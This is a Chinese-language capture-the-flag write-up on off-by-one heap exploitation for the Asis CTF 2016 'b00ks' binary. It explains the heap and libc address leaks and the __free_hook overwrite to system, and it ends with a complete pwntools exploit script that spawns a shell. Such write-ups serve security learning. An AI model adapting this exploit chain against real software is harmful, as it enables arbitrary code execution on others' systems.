原理:顾名思义就是只溢出一个字节,溢出字节为可控制任意字节:通过修改大小造成块结构之间出现重叠,从而泄露其他块数据,或是覆盖其他块数据,或者用NULL字节进行覆盖,从而造成数据泄露,或者块结构数据的控制
接下来用一道经典的off-by-one的题目来详细解释
[Asis CTF 2016] b00ks
这个程序有5个模块
而在change模块中存在\x00的溢出
而change模块的数据是存在unk_202040
creatbook时malloc映射的地址时存在unk_202060
二者的偏移刚好是0x20,那么我们就可以\x00的溢出,把\x00覆盖掉来泄露出book的地址
可以看到创建book1的地址已经把\x00覆盖,打印author的时候就可以把book1泄露出来
p.sendlineafter('name: ','a'*0x1f+'b')
creatbook(0xd0,'aaaaaaaa',0x20,'bbbbbbbb')
printf()
p.recvuntil('aaab')
heap_addr = u64(p.recv(6).ljust(8,b'\x00'))
print('heap_addr-->'+hex(heap_addr))
接下来是想办法getshell
知识点:一个chunk>144被free时会被放到unsorted bin 中,unsorted bin 的bk指针时glibc里面的,如果我们能够泄露,那么就可以得到基址,最后劫持__free_hook函数即可。
book1的指针和book1_des的指针地址实际上只有最后两位不同,我们只要控制号book1的大小,就能让book1_des的后两位为\x00,这样在堆溢出一次把book1的指针后两位覆盖,这样book1就指向了book1_des,而des是可编辑的,给我们伪造book1,即fake_book1创造了条件。
首先再创建一个book2再free得到unsorted bin
可以看到heap_addr到bk指针的偏移就是0x20+0x10
这里还要creat book3来劫持__free_hook,首先把fake_book1_des指针指向book3_des的指针,这样后面就可以通过edit模块,把book3_des修改为__free_hook,在把__free_hook的内容改为system,达到劫持的目的
那么我们fake_book1的伪造为
creatbook(0x80,'cccccccc',0x60,'dddddddd')
creatbook(0x20,'/bin/sh',0x20,'/bin/sh') #创造book3,为劫持__free_hook
delete(2) #创造unsorted bin
edit(1,p64(1)+p64(heap_addr+0x30)+p64(heap_addr+0x180+0x50)+p64(0x20))
#伪造book1,即fake_book1,
#将fake_book1_name指向bk指针
#将fake_book1_des指向book3的des
change('a'*0x20) #把book1的指针改为fake_book1
printf() #leak
泄露出来的bk指针
查询这个指针上下200
发现__memalign_hook和__malloc_hook,这两个都是glibc里面的,这里选择__malloc_hook,偏移为0x68,即可泄露libc
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print("leak-->"+hex(libc_base))
libc_base+=-0x68-libc.symbols['__malloc_hook']
print('libc_base-->'+hex(libc_base))
__free_hook=libc_base+libc.symbols['__free_hook']
system=libc_base+libc.symbols['system']
edit(1,p64(__free_hook)+p64(0x10)) #把book3的des指针改为__free_hook
最后再把book3_des改为system,输入/bin/sh来getshell
edit(3,p64(system))
delete(3)
最终exp
from pwn import *
#p = remote('node5.buuoj.cn','29085')
p=process('./b00ks')
elf = ELF('./b00ks')
libc = ELF("./libc-2.23.so")
context.log_level = 'info'
context(arch='amd64',os='linux',log_level='debug')
#gdb.attach(p)
def creatbook(name_size,name,content_size,content):
p.sendlineafter('> ','1')
p.sendlineafter('size: ',str(name_size))
p.sendlineafter('chars): ',name)
p.sendlineafter('size: ',str(content_size))
p.sendlineafter('tion: ',content)
def delete(index):
p.sendlineafter('> ','2')
p.sendlineafter('delete: ',str(index))
def edit(index,content):
p.sendlineafter('> ','3')
p.sendlineafter('edit: ',str(index))
p.sendlineafter('ption: ',content)
def printf():
p.sendlineafter('> ','4')
def change(author_name):
p.sendlineafter('> ','5')
p.sendlineafter('name: ',author_name)
p.sendlineafter('name: ','a'*0x1f+'b')
creatbook(0xd0,'aaaaaaaa',0x20,'bbbbbbbb')
printf()
p.recvuntil('aaab')
heap_addr = u64(p.recv(6).ljust(8,b'\x00'))
print('heap_addr-->'+hex(heap_addr))
creatbook(0x80,'cccccccc',0x60,'dddddddd')
creatbook(0x20,'/bin/sh',0x20,'/bin/sh')
delete(2)
edit(1,p64(1)+p64(heap_addr+0x30)+p64(heap_addr+0x180+0x50)+p64(0x20))
change('a'*0x20)
printf()
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print("leak-->"+hex(libc_base))
libc_base+=-0x68-libc.symbols['__malloc_hook']
print('libc_base-->'+hex(libc_base))
__free_hook=libc_base+libc.symbols['__free_hook']
system=libc_base+libc.symbols['system']
edit(1,p64(__free_hook)+p64(0x10))
print('__free_hook-->'+hex(__free_hook))
edit(3,p64(system))
delete(3)
p.interactive()
#pause()
作者理解的第一道堆题,纪念一下